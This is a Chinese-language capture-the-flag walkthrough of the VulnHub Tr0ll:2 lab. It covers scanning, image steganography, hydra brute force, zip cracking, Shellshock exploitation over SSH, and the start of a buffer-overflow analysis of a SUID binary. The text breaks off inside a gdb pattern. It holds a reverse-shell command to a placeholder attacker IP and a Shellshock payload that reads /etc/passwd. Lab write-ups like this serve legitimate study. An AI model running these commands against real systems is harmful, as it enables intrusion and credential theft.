关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
Tr0ll: 2
靶场地址:https://www.vulnhub.com/entry/tr0ll-2,107/
信息收集
1sudo arp-scan -l
2nmap -sS -sV -A -T5 -p- 172.168.169.139



检查网页源码发现有注释信息,写着作者是Tr0ll,用vim编辑的这个网页,我们就能推测,某个功能可能是ssh,可能是ftp的用户名应该有Tr0ll,之后的收集中要注意找密码。
打开看到一个滑稽的图片,看到web服务器是apache就想到应该要查一下网页的目录。
1dirb http://172.168.169.139/

看到有个robots.txt是机器人爬虫的协议,越不让看什么越要看什么。





我们把所有目录都翻一遍可以看到出了以上几个目录有图片,其他几个目录都没有东西。这四个目录是:
1http://172.168.169.139/noob/
2http://172.168.169.139/keep_trying/
3http://172.168.169.139/dont_bother/
4http://172.168.169.139/ok_this_is_it/

图片隐写信息
检查网页源代码都没有什么有用信息,那么我们把目光放到图片上来,图片可能又隐写信息。在kali中下载这些图片,kali会自动重命名。可以看到第3次下载的图片大小何其他几个不同。
1wget http://172.168.169.139/noob/cat_the_troll.jpg
2wget http://172.168.169.139/keep_trying/cat_the_troll.jpg
3wget http://172.168.169.139/dont_bother/cat_the_troll.jpg
4wget http://172.168.169.139/ok_this_is_it/cat_the_troll.jpg

1strings cat_the_troll.jpg.3

base64解码
可以看到第3哥图片比其他几个图片在末尾隐藏了一段话,其中y0ur_self极有可能是目录。打开看到如下文件,应该是base64加密。


这个文件很想一个爆破后留下的,推测密码应该在其中,用base64解码后再用hydra爆破尝试一下。
1base64 -d answer.txt > pass.txt
2hydra -l Tr0ll -P pass.txt 172.168.169.139 ssh -v
3hydra -l Tr0ll -P pass.txt 172.168.169.139 ftp -v
默认密码尝试ftp登录
但是爆破不成功,这个可能是靶机作者给我们的误导,所以我们换个思路,尝试默认弱口令登录。尝试ftp登录后发现提示用户名Tr0ll,尝试用户名何密码都是这个后成功登录。发现有一个zip文件,下载后查看。

ZIP密码爆破
解压压缩包发现要密码,所以之前的answer.txt并不是登录密码,而是压缩包的密码。

用一下两个命令都可以爆破压缩包密码。
1zip2john lmao.zip > lmao.txt && john --wordlist=pass.txt lmao.txt
2fcrackzip -u -D -p pass.txt lmao.zip


解压后似乎是一个密钥文件,有密钥的话我们就可以ssh登录了。
SSH密钥登录
直接登录时不行的
1ssh -i noob noob@172.168.169.139

用以下命令查看为什么报错
1ssh -vvv -i noob noob@172.168.169.139
2
3---
4OpenSSH_9.9p2 Debian-2, OpenSSL 3.5.0 8 Apr 2025

可能因为版本太老了,我尝试 强制客户端使用旧版签名算法在 SSH 命令中指定兼容旧服务器的签名算法:
1ssh -i noob noob@172.168.169.139 -o PubkeyAcceptedKeyTypes=+ssh-rsa

也不行。查资料发现可以利用shellcode漏洞。
CVE-2014-6271 是著名的 Shellshock 漏洞(又称 “Bash 破壳漏洞”),它影响了广泛使用的 Unix/Linux 系统中的 Bash 解释器。该漏洞允许攻击者通过环境变量注入恶意代码,从而远程执行任意命令。以下是漏洞利用的详细方法:
SSH强制命令
若目标允许通过SSH公钥认证并配置了强制命令(如 command="example"):
1ssh -i id_rsa user@target '() { :;}; /bin/bash -i >& /dev/tcp/攻击者IP/4444 0>&1'
1ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@172.168.169.139 '() { :;}; cat /etc/passwd'
2ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@172.168.169.139 '() { :;}; /bin/bash'

1python -c 'import pty; pty.spawn("/bin/bash")'
换个好看的shell,到根目录下查看发现有个nothing_to_see_here目录,此地无银三百两。

在这个文件夹下有几个door文件夹,里面有可执行文件,执行了之后,我们就好像踩雷了。所有的命令出了似乎都没有权限了就。
1noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ./r00t
2./r00t
3Good job, stand by, executing root shell...
4BUHAHAHA NOOB!
5noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ ./r00t
6./r00t
7
82 MINUTE HARD MODE LOL



查阅其他WP发现用下面这个命令也可以找到三个door文件夹下面的脚本。
1find / -perm -4000 -print 2>/dev/null
是一个用于查找系统中具有 SUID 权限(Set User ID) 文件的命令。发现这三个命令有SUID权限。

扩展命令
- 查找 SGID 文件(Set Group ID):
find / -perm -2000 -print 2>/dev/null
- 查找全局可写文件:
find / -perm -0002 -type f 2>/dev/null
似乎就没法搞了,只能回复快照。

顺带找一下内核信息

1uname -a
2Linux Tr0ll2 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
3lsb_release -a
4sh: 0: getcwd() failed: No such file or directory
5No LSB modules are available.
6Distributor ID: Ubuntu
7Description: Ubuntu 12.04.1 LTS
8Release: 12.04
9Codename: precise
缓存溢出漏洞
方法一:gdb调试找偏移
我们重新回到ssh登录,再次找到这几个文件夹,这次我们就不执行了。先ls一下看看文件属性,可以看到door1和door2的脚本都是7.2K,只有door3的脚本比较特殊是8.3K
1ls -lahR

1cd door3
2base64 r00t
得到如下结果
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
33AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
34AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
35AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
36AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
37AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
38AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
39AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
41AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
42AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
43AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
44AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
45AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
46AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
47AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
48AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
49AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
51AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
52AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
53AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
54AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
55AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
56AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
57AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
58AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
59AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
60AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
61AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
62AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
63AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
64AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
65AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
66AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
67AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
68AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAA
69AAAAAAEAAAAQAAAADAAAAPSCBAgNAAAAXIUECPX+/2+sgQQIBQAAADyCBAgGAAAAzIEECAoAAABY
70AAAACwAAABAAAAAVAAAAAAAAAAMAAAD0nwQIAgAAACgAAAAUAAAAEQAAABcAAADMggQIEQAAAMSC
71BAgSAAAACAAAABMAAAAIAAAA/v//b6SCBAj///9vAQAAAPD//2+UggQIAAAAAAAAAAAAAAAAAAAA
72AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACifBAgAAAAAAAAAAEaDBAhWgwQI
73ZoMECHaDBAiGgwQIAAAAAAAAAABHQ0M6IChVYnVudHUvTGluYXJvIDQuNi4zLTF1YnVudHU1KSA0
74LjYuMwAcAAAAAgAAAAAABAAAAAAARIQECGMAAAAAAAAAAAAAABEBAAACAAAAAAAEAUoAAAABcwAA
75AD8AAABEhAQIp4QECAAAAAACBAcfAAAAAgEILAAAAAICB1sAAAACBAcaAAAAAgEGLgAAAAICBXkA
76AAADBAVpbnQAAggFAAAAAAIIBxUAAAACBAUFAAAABARxAAAAAgEGNQAAAAQEfgAAAAVxAAAABgE6
77AAAAAQMBTwAAAESEBAinhAQIAAAAAAIBAAAHVgAAAAEDTwAAAAKRAAeDAAAAAQMCAQAAApEECGJ1
78ZgABBQgBAAACdBAJAQ4AAAACAAFrAAAAAecAAAAKawAAAAp4AAAAAAtWhAQIeIQECAwBbgAAAAIA
79AQEKTwAAAAAAAAQEawAAAA1xAAAADiUAAAD/AAABEQElDhMLAw4bDhEBEgEQBgAAAiQACws+CwMO
80AAADJAALCz4LAwgAAAQPAAsLSRMAAAUmAEkTAAAGLgE/DAMOOgs7CycMSRMRARIBQAYBEwAABwUA
81Aw46CzsLSRMCCgAACDQAAwg6CzsLSRMCCgAACS4BPwwDDjoLOwsnDEkTPAwBEwAACgUASRMAAAsL
82AREBEgEAAAwuAT8MAw46CzsLJww8DAAADQEBSRMAAA4hAEkTLwsAAABGAAAAAgAqAAAAAQH7Dg0A
83AQEBAQAAAAEAAAEAYm9mLmMAAAAAPGJ1aWx0LWluPgAAAAAAAAUCRIQECBS+aAhZvgh1CEsCAgAB
84AWxvbmcgbG9uZyBpbnQAc3RyY3B5AGxvbmcgbG9uZyB1bnNpZ25lZCBpbnQAdW5zaWduZWQgY2hh
85cgBtYWluAC9ob21lL25vb2IAR05VIEMgNC42LjMAYXJnYwBzaG9ydCB1bnNpZ25lZCBpbnQAZXhp
86dABib2YuYwBzaG9ydCBpbnQAYXJndgAAAAAAAQAAAAIAdAQBAAAAAwAAAAIAdAgDAAAAYgAAAAIA
87dQhiAAAAYwAAAAIAdAQAAAAAAAAAAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5pbnRlcnAA
88Lm5vdGUuQUJJLXRhZwAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0
89cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5keW4ALnJlbC5wbHQALmluaXQALnRl
90eHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5q
91Y3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AC5kZWJ1Z19hcmFu
92Z2VzAC5kZWJ1Z19pbmZvAC5kZWJ1Z19hYmJyZXYALmRlYnVnX2xpbmUALmRlYnVnX3N0cgAuZGVi
93dWdfbG9jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAAC
94AAAAVIEECFQBAAATAAAAAAAAAAAAAAABAAAAAAAAACMAAAAHAAAAAgAAAGiBBAhoAQAAIAAAAAAA
95AAAAAAAABAAAAAAAAAAxAAAABwAAAAIAAACIgQQIiAEAACQAAAAAAAAAAAAAAAQAAAAAAAAARAAA
96APb//28CAAAArIEECKwBAAAgAAAABQAAAAAAAAAEAAAABAAAAE4AAAALAAAAAgAAAMyBBAjMAQAA
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
129AgANAEsAAAAcoAQIAQAAAAEAGQBaAAAAIKAECAQAAAABABkAaAAAACCEBAgAAAAAAgANAAEAAAAA
130AAAAAAAAAAQA8f90AAAAGJ8ECAAAAAABABIAgQAAAIiGBAgAAAAAAQARAI8AAAAknwQIAAAAAAEA
131FACbAAAAMIUECAAAAAACAA0AsQAAAAAAAAAAAAAABADx/7cAAAAUnwQIAAAAAAAAEgDIAAAAKJ8E
132CAAAAAABABUA0QAAABSfBAgAAAAAAAASAOQAAAD0nwQIAAAAAAEAFwD6AAAAIIUECAIAAAASAA0A
133CgEAACKFBAgAAAAAEgINACEBAAAUoAQIAAAAACAAGAAsAQAAAAAAAAAAAAASAAAAPgEAABygBAgA
134AAAAEADx/0UBAABchQQIAAAAABIADgBLAQAAAAAAAAAAAAASAAAAXQEAACCfBAgAAAAAEQITAGoB
135AAAUoAQIAAAAABAAGAB3AQAAAAAAAAAAAAAgAAAAhgEAAAAAAAAAAAAAEgAAAJYBAAAYoAQIAAAA
136ABECGACjAQAAfIUECAQAAAARAA8AsgEAAAAAAAAAAAAAEgAAAM8BAACwhAQIYQAAABIADQDfAQAA
137JKAECAAAAAAQAPH/5AEAAJCDBAgAAAAAEgANAOsBAAB4hQQIBAAAABEADwDyAQAAHKAECAAAAAAQ
138APH//gEAAESEBAhjAAAAEgANAAMCAAAAAAAAAAAAACAAAAAXAgAA9IIECAAAAAASAAsAAGNydHN0
139dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBfX2RvX2dsb2Jh
140bF9kdG9yc19hdXgAY29tcGxldGVkLjYxNTkAZHRvcl9pZHguNjE2MQBmcmFtZV9kdW1teQBfX0NU
141T1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgA
142Ym9mLmMAX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJyYXlfc3RhcnQAX0dMT0JB
143TF9PRkZTRVRfVEFCTEVfAF9fbGliY19jc3VfZmluaQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AGRh
144dGFfc3RhcnQAcHJpbnRmQEBHTElCQ18yLjAAX2VkYXRhAF9maW5pAHN0cmNweUBAR0xJQkNfMi4w
145AF9fRFRPUl9FTkRfXwBfX2RhdGFfc3RhcnQAX19nbW9uX3N0YXJ0X18AZXhpdEBAR0xJQkNfMi4w
146AF9fZHNvX2hhbmRsZQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4w
147AF9fbGliY19jc3VfaW5pdABfZW5kAF9zdGFydABfZnBfaHcAX19ic3Nfc3RhcnQAbWFpbgBfSnZf
148UmVnaXN0ZXJDbGFzc2VzAF9pbml0AA==
然后再在kali中复制解码得到r00t的脚本内容
1cat |base64 -d > r00t
2chmod +x door3/r00t
3---
4# 复制上面的base64内容,然后回车 ctrl D 结束

然后用gbd调试
1sudo apt install gdb
2gdb r00t
3disas main

strcpy的作用: 将源字符串复制到目标缓冲区,不检查目标缓冲区长度,可能导致缓冲区溢出(Buffer Overflow)。- 漏洞场景:
如果目标缓冲区(如栈上的字符数组)较小,而源字符串过长,
strcpy会覆盖栈上的返回地址(或其他关键数据),导致程序崩溃或被控制流劫持。
1kali:
2ls /usr/share/metasploit-framework/tools/exploit
3cp /usr/share/metasploit-framework/tools/exploit/pattern_create.rb ./
4./pattern_create.rb -l 1000
5-----
6(gdb)run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2